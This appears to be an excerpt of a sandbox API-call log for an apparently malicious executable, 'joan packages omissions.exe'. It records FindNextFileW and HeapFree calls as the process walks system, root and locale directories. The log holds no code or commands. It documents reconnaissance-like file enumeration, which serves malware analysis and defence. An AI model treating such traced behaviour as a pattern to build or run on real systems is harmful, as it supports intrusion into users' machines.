	[0071.105] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0071.106] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.106] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0071.106] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.106] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1
	[0071.107] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.107] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0071.107] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.107] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0071.108] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.108] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0071.108] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.108] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1
	[0071.109] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.109] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0071.109] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.109] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0071.110] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.110] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0071.110] FindClose (in: hFindFile=0x3121790 | out: hFindFile=0x3121790) returned 1
	[0071.110] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x30f0948 | out: hHeap=0x500000) returned 1
	[0071.110] FindNextFileW (in: hFindFile=0x519958, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0071.112] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x30f0948 | out: hHeap=0x500000) returned 1
	[0071.112] FindNextFileW (in: hFindFile=0x519958, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1
	[0071.166] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x30f0948 | out: hHeap=0x500000) returned 1
	[0071.166] FindNextFileW (in: hFindFile=0x519958, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x174ff10, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0071.933] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x30f0948 | out: hHeap=0x500000) returned 1
	[0071.933] FindNextFileW (in: hFindFile=0x519958, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x21ffac8, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0071.940] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x30f0948 | out: hHeap=0x500000) returned 1
	[0071.940] FindNextFileW (in: hFindFile=0x519958, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x44702d9e, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x44702d9e, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0071.941] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0071.941] FindNextFileW (in: hFindFile=0x3121190, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9182060, ftCreationTime.dwHighDateTime=0x1d58705, ftLastAccessTime.dwLowDateTime=0xd909ad60, ftLastAccessTime.dwHighDateTime=0x1d56230, ftLastWriteTime.dwLowDateTime=0xd909ad60, ftLastWriteTime.dwHighDateTime=0x1d56230, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="joan packages omissions.exe", cAlternateFileName="JOANPA~1.EXE")) returned 1
	[0071.948] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.948] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1
	[0071.953] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0071.953] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0071.953] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0071.953] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1
	[0071.954] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0071.954] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0071.954] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0071.954] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0071.956] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0071.956] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0071.956] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0071.956] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0071.956] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0071.956] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0071.959] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0071.959] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0071.961] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0071.961] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0071.961] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0071.961] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0071.961] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0071.961] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0071.961] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0071.961] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1
	[0071.963] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0071.963] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0071.964] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0071.964] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1
	[0071.968] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0071.968] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1
	[0071.969] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0071.969] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1
	[0071.969] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0071.969] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1
	[0072.237] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0072.237] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1
	[0072.238] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.238] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1
	[0072.252] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.252] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1
	[0072.252] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.252] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1
	[0072.252] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
